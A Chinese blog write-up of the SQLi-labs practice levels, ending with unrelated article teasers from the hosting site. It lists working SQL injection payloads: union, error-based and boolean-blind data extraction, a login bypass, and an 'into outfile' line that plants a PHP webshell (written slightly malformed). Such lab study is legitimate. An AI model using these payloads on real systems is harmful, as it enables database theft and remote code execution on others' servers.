SQLI—LABS刷题 | SQL总结

Less1-2(联合注入)

?id=1
查询到用户名及密码
​​​​​​​?id='1
报错:You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1 LIMIT 0,1' at line 1确定为MariaDB(与mysql几乎一样),且注入点为数字型
?id=1 order by 4 --+ 
测列数,--+将后面的语句隔断
order by 3时不报错,说明有3列
?id=-1 union select 1,2,3 --+ 爆出显位

原理:

union select之前的语句查询不到结果时,查询结果会变为1 2 3

在显位上查询相关信息
?id=-1 union select 1,database(),@@version --+

根据information_schema找数据库-表-列

1.从schemata里找数据库名schema_name

?id=-1%20union%20select%201,database(),group_concat(schema_name)%20from%20information_schema.schemata--+ 

2.从tables里找表名

?id=-1 union select 1,2,group_concat( table_name) from information_schema.tables where table_schema='security' --+

3.从columns里找列名

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security'and table_name='users'--+

4.有表名,有列名,直接查

BUUCTF的flag在ctftraining数据库下的flag表flag列

Less3

通过加单引号查看报错,发现注入点为字符型且被包在括号中。所以要闭合引号和括号

?id=-1') union select 1,2,group_concat(column_name) from…… --+

Less4

这次是双引号加括号闭合

Less5(报错注入)

无回显,联合查询失效,只能通过报错来显示信息

1.XPATH语法错误——extractvalue

查数据库名:id='and(select extractvalue(1,concat(0x7e,(select database()))))
爆表名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))
爆字段名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME"))))
爆数据:id='and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))

2.XPATH语法错误——updatexml

爆数据库名:'and(select updatexml(1,concat(0x7e,(select database())),0x7e))
爆表名:'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))
爆列名:'and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME")),0x7e))
爆数据:'and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))

3.concat+rand()+group_by()导致主键重复(表至少有3行才能用)

爆数据库名:'union select 1 from (select count(*),concat((select database())," ",floor(rand(0)*2))x from information_schema.tables group by x)a
爆表名:'union select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a
爆列名:'union select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name="TABLE_NAME" limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a
爆数据:'union select 1 from (select count(*),concat((select COLUMN_NAME from TABLE_NAME limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a

原理:floor(rand(0)*2)得出一串重复的数字011011……,count(*)时,会构建一个 |值|出现次数| 的虚表。遇到0,表中没有,要把0插入,而此时rand会再次计算,导致值变为1了,所以1插入。第三条值是一,直接加1,第四条是0,表中没有,要插入,而此时又重新计算,导致插入1,而1已经出现过了,导致主键重复报错,错误信息会将查询结果显示出来
参考:关于floor()报错注入,你真的懂了吗?- FreeBuf
MYSQL报错注入的一点总结 - 先知社区 (aliyun.com)
sql注入之报错注入-CSDN博客

4.报错显示不全

最多只能显示32个字符,通过mid函数来分段查看

?id=%27and(select%20updatexml(1,mid(concat(0x7e,(select%20group_concat(flag)from%20ctftraining.flag)),1,32),0x7e))--+

Less-6 Double Query- Double Quotes- String (buuoj.cn)

Less6

双引号闭合

?id="-1 and(select extractvalue(1,mid(concat(0x7e,(select group_concat(flag) from ctftraining.flag)),32,45)))--+

Less7

into outfile语句用于将文件导入或导出

利用条件:

  1. 具有root权限
  2. 在数据库配置文件中的配置项含有:secure_file_priv=
    指定目录:secure_file_priv=/path/to/data,只能上传文件到此目录
    不限目录:secure_file_priv=
    禁止操作:secure_file_priv=NULL
    Mysql中输入  SHOW VARIABLES LIKE "secure_file_priv";  查看
  3. 知道数据库的绝对路径。

?id=1')) union select 1,2,"<?php @($_POST['cmd']);?> into outfile "C:/phpstudy/PHPTutorial/WWW/sqli/Less-7/2.php"--+

然后蚁剑

 找闭合的思路:id=1不报错;id=1'报错,说明单引号闭合;后面用--+注释掉,然后加上括号,引号等直到不报错,即为成功闭合;本题就是'))闭合

Less8(布尔盲注)

只有成功与否两种状态

用and连接substr(str,from,length),length(str)语句,逐个猜解数据库/表/列的名字的字符数以及名字

例如,?id=1 and length(database())=n,n循环猜解db的字符数

f"?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{i},1)='{chr(j)}'--+")猜解表的名称

可以写py脚本自动化

参考:布尔盲注详细原理讲解_保姆级手把手讲解自动化布尔盲注脚本编写-CSDN博客

​​​​​​​Less11(万能密码+回显 )

admin' or 1=1 #)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/1547790.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

C++结尾

面试题 1.什么是虚函数&#xff1f;什么是纯虚函数 在定义函数时前面加virtual。虚函数是为了&#xff0c;父子类中只有一个该函数。如果在子类重写虚函数&#xff0c;那么用的就是子类重写的虚函数&#xff1b;如果子类没有重写虚函数&#xff0c;那么调用的是父类继承的虚函…

IP地址与5G时代的万物互联

5G时代&#xff0c;海量的设备将接入网络&#xff0c;从智能手机、平板电脑到智能家电、工业传感器等&#xff0c;每一个设备都需要一个独特的IP地址来进行标识和通信。可以说&#xff0c;IP地址就如同这些设备在数字世界中的“身份证”&#xff0c;确保它们能够准确地找到彼此…

vue嵌套路由刷新页面空白问题

问题描述 在vue项目开发中遇到这样一个问题&#xff0c;在history模式下通过页面点击路由跳转可以打开页面&#xff0c;但是在当前页面刷新就空白了&#xff0c;如下&#xff1a; 点击路由跳转页面是有的 刷新页面就空白 代码 {path: "/home",name: "home&qu…

PCIe6.0 AIC金手指和板端CEM连接器信号完整性设计规范

先附上我之前写的关于PCIe5.0金手指的设计解读&#xff1a; PCIe5.0的Add-in-Card(AIC)金手指layout建议&#xff08;一&#xff09;_pcie cem-CSDN博客 PCIe5.0的Add-in-Card(AIC)金手指layout建议&#xff08;二&#xff09;_gnd bar-CSDN博客 首先&#xff0c;相较于PCI…

vscode【实用插件】Code Runner 运行代码

安装 在 vscode 插件市场的搜索 Code Runner点 安装 使用 运行指定文件的代码 用 vscode 打开目标文件&#xff0c;右键快捷菜单运行即可 运行选中的代码 选中要执行的代码右键快捷菜单执行

配置树莓派打开SSH服务

在树莓派终端中查看IP 在终端中输入命令来查看IP地址。最常用的命令是&#xff1a;hostname -I注意&#xff0c;这里的参数I是大写的&#xff0c;它表示查看本机上所有配置的IP地址&#xff08;包括IPv4和IPv6&#xff0c;如果有的话&#xff09;。如果你只需要查看IPv4地址&am…

【NTN 卫星通信】基于NR的NTN RAN架构

1 引言 3GPP中,38.821协议中,研究了如何最大限度地减少对NG-RAN中新接口和协议的需求,以支持非地面网络。 研究了包括透传星和再生星的RAN架构。 2 基于透传星的NG-RAN架构 2.1 概述: 对于透传模式,卫星有效载荷在上行链路和下行链路方向上实现频率转换和射频放大器。它…

【Linux】环境变量(初步认识环境变量)

文章目录 1. 环境变量1.1 基本概念 2. 认识常见环境变量2.1 PATH2.2 HOME2.3 SHELL2.4 PWD2.5 USER 3. 理解环境变量 1. 环境变量 在main函数的命令行参数中&#xff0c;有argc、argv、env三个参数。 argc&#xff1a;命令函参数的个数argc&#xff1a;存放每个参数的具体数值…

SEO之页面优化(三、四——关键词标签与正文中的关键词)

初创企业搭建网站的朋友看1号文章&#xff1b;想学习云计算&#xff0c;怎么入门看2号文章谢谢支持&#xff1a; 1、我给不会敲代码又想搭建网站的人建议 2、“新手上云”能够为你开启探索云世界的第一步 博客&#xff1a;阿幸SEO~探索搜索排名之道 &#xff08;接上一篇。。…

UnityHub下载任意版本的Unity包

1)先打开 // 也可以采用2直接打开 2)也可以直接打开 下载存档 (unity.com) 3)关联起来UnityHub即可

mysql—半同步模式

mysql的并行复制 在172.25.254.20(slave)主机上 默认情况下slave中使用的是sql单线程回放 在master中时多用户读写&#xff0c;如果使用sql单线程回放那么会造成组从延迟严重 开启MySQL的多线程回放可以解决上述问题 mysql> show processlist; 在配置文件中进行编辑 [root…

哪些因素会影响六西格玛效果的显现时间?

在探讨哪些因素会影响六西格玛效果的显现时间时&#xff0c;我们不得不深入剖析六西格玛管理方法的本质及其在企业中的实施过程。六西格玛作为一种旨在通过减少缺陷和变异来提高产品和服务质量的策略&#xff0c;其成功实施并非一蹴而就&#xff0c;而是受到多种复杂因素的共同…

<Rust>egui学习之部件(十二):如何添加右键菜单?

前言 本专栏是关于Rust的GUI库egui的部件讲解及应用实例分析&#xff0c;主要讲解egui的源代码、部件属性、如何应用。 环境配置 系统&#xff1a;windows 平台&#xff1a;visual studio code 语言&#xff1a;rust 库&#xff1a;egui、eframe 概述 本文是本专栏的第十二篇…

AI+科研|| 如何使用Chat GPT撰写文献综述?7个步骤帮你轻松搞定!

撰写文献综述对许多研究人员和学生来说是一个耗时且复杂的过程。要做到内容全面且符合学术规范&#xff0c;往往需要大量的时间和精力。 然而&#xff0c;有了 ChatGPT 这样的智能工具&#xff0c;文献综述的撰写过程可以变得更加轻松高效。 今天&#xff0c;小编将通过7个简…

一键启动,停止,重启nginx

1.一键启动nginx 启动的时候只能启动当前目录的nginx.exe echo off echo 正在启动nginx cmd /c "start nginx.exe" timeout /t 1 /nobreak > NUL2.一键关闭nginx 关闭的时候只能关闭当前目录的nginx.exe echo off echo 正在关闭nginx cmd /c "nginx -s quit&…

PHP 于小项目:从鉴权说起

PHP 于小项目&#xff1a;从鉴权说起 在当今这个开发技术多样化的时代&#xff0c;选择合适的开发语言和框架常常决定了项目的效率与成败。对于个人开发者&#xff0c;特别是那些进行小型、短期项目的人来说&#xff0c;PHP 是一种特别友好的选择。本文将通过介绍 PHP 实现鉴权…

Acwing 最小生成树

最小生成树 最小生成树:由n个节点&#xff0c;和n-1条边构成的无向图被称为G的一棵生成树&#xff0c;在G的所有生成树中&#xff0c;边的权值之和最小的生成树&#xff0c;被称为G的最小生成树。&#xff08;换句话说就是用最小的代价把n个点都连起来&#xff09; Prim 算法…

shell 脚本练习

一、初识shell 文件描述符与重定向 0&#xff1a;标准输入 1&#xff1a;标准正确输出 2&#xff1a;标准错误输出 1>a.txt 与 >a.txt 一样&#xff0c;不写默认前面为1&#xff0c;省略&#xff0c;把标准输出重定向到a.txt中 2>a.txt 将错误输出重定向到a.txt中 &a…

在 CentOS 安装 Python3.7 (没有弯路)

下载Python源码包 wget https://www.python.org/ftp/python/3.7.12/Python-3.7.12.tgz安装前准备 安装依赖组件 yum -y install wget zlib-devel bzip2-devel openssl-devel ncurses-devel sqlite-devel readline-devel tk-devel gcc make libffi-devel xz-devel解压安装 解…

【Redis】渐进式遍历 数据库管理命令 RESP协议

目录 渐进式遍历 scan 数据库管理命令 切换数据库 获取当前数据库key的个数 删除当前数据库所有的key 删除所有数据库中所有的key RESP协议 渐进式遍历 Redis使用scan命令进行渐进式遍历键&#xff0c;进而解决直接使用keys获取键时可能出现的阻塞问题&#xff08;因为…